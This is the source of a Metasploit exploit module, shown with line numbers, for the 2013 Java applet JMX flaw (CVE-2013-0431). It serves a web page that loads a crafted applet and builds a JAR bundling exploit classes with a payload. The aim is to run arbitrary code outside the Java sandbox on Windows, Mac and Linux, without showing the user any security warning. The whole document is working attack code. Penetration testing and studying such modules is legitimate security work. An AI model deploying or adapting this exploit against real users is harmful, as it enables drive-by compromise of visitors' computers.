Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpServer::HTML
10
  include Msf::Exploit::EXE
11

12
  #include Msf::Exploit::Remote::BrowserAutopwn
13
  #autopwn_info({ :javascript => false })
14

15
  def initialize( info = {} )
16

17
    super( update_info( info,
18
      'Name'          => 'Java Applet JMX Remote Code Execution',
19
      'Description'   => %q{
20
          This module abuses the JMX classes from a Java Applet to run arbitrary Java code
21
        outside of the sandbox as exploited in the wild in February of 2013. Additionally,
22
        this module bypasses default security settings introduced in Java 7 Update 10 to run
23
        unsigned applet without displaying any warning to the user.
24
      },
25
      'License'       => MSF_LICENSE,
26
      'Author'        =>
27
        [
28
          'Unknown', # Vulnerability discovery and exploit in the wild
29
          'Adam Gowdiak', # Vulnerability discovery
30
          'SecurityObscurity', # Exploit analysis and deobfuscation
31
          'juan vazquez' # Metasploit module
32
        ],
33
      'References'    =>
34
        [
35
          [ 'CVE', '2013-0431' ],
36
          [ 'OSVDB', '89613' ],
37
          [ 'BID', '57726' ],
38
          [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ],
39
          [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ],
40
          [ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ],
41
          [ 'URL', 'http://pastebin.com/QWU1rqjf' ],
42
          [ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ]
43
        ],
44
      'Platform'      => %w{ java linux osx win },
45
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
46
      'Targets'       =>
47
        [
48
          [ 'Generic (Java Payload)',
49
            {
50
              'Platform' => ['java'],
51
              'Arch' => ARCH_JAVA,
52
            }
53
          ],
54
          [ 'Windows x86 (Native Payload)',
55
            {
56
              'Platform' => 'win',
57
              'Arch' => ARCH_X86,
58
            }
59
          ],
60
          [ 'Mac OS X x86 (Native Payload)',
61
            {
62
              'Platform' => 'osx',
63
              'Arch' => ARCH_X86,
64
            }
65
          ],
66
          [ 'Linux x86 (Native Payload)',
67
            {
68
              'Platform' => 'linux',
69
              'Arch' => ARCH_X86,
70
            }
71
          ],
72
        ],
73
      'DefaultTarget'  => 0,
74
      'DisclosureDate' => '2013-01-19'
75
    ))
76
  end
77

78
  def on_request_uri(cli, request)
79
    print_status("handling request for #{request.uri}")
80

81
    case request.uri
82
    when /\.jar$/i
83
      print_status("Sending JAR")
84
      send_response( cli, generate_jar, { 'Content-Type' => "application/octet-stream" } )
85
    when /\/$/
86
      print_status("Sending HTML")
87
      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
88
    else
89
      send_redirect(cli, get_resource() + '/', '')
90
    end
91
  end
92

93
  def generate_jar
94
    paths = [
95
      [ "Exploit.ser" ],
96
      [ "Exploit.class" ],
97
      [ "B.class" ]
98
    ]
99

100
    p = regenerate_payload(cli)
101

102
    jar  = p.encoded_jar
103

104
    paths.each do |path|
105
      1.upto(path.length - 1) do |idx|
106
        full = path[0,idx].join("/") + "/"
107
        if !(jar.entries.map{|e|e.name}.include?(full))
108
          jar.add_file(full, '')
109
        end
110
      end
111
      fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0431", path ), "rb")
112
      data = fd.read(fd.stat.size)
113
      jar.add_file(path.join("/"), data)
114
      fd.close
115
    end
116
    return  jar.pack
117
  end
118

119
  def generate_html
120
    html = <<-EOF
121
<html>
122
<script language="Javascript">
123

124
var _app = navigator.appName;
125

126
if (_app == 'Microsoft Internet Explorer') {
127
document.write('<applet archive="#{rand_text_alpha(4+rand(4))}.jar" object="Exploit.ser"></applet>');
128
} else {
129
document.write('<embed object="Exploit.ser" type="application/x-java-applet;version=1.6" archive="#{rand_text_alpha(4+rand(4))}.jar"></embed>');
130
}
131

132
</script>
133
</html>
134
    EOF
135
    return html
136
  end
137
end
138

139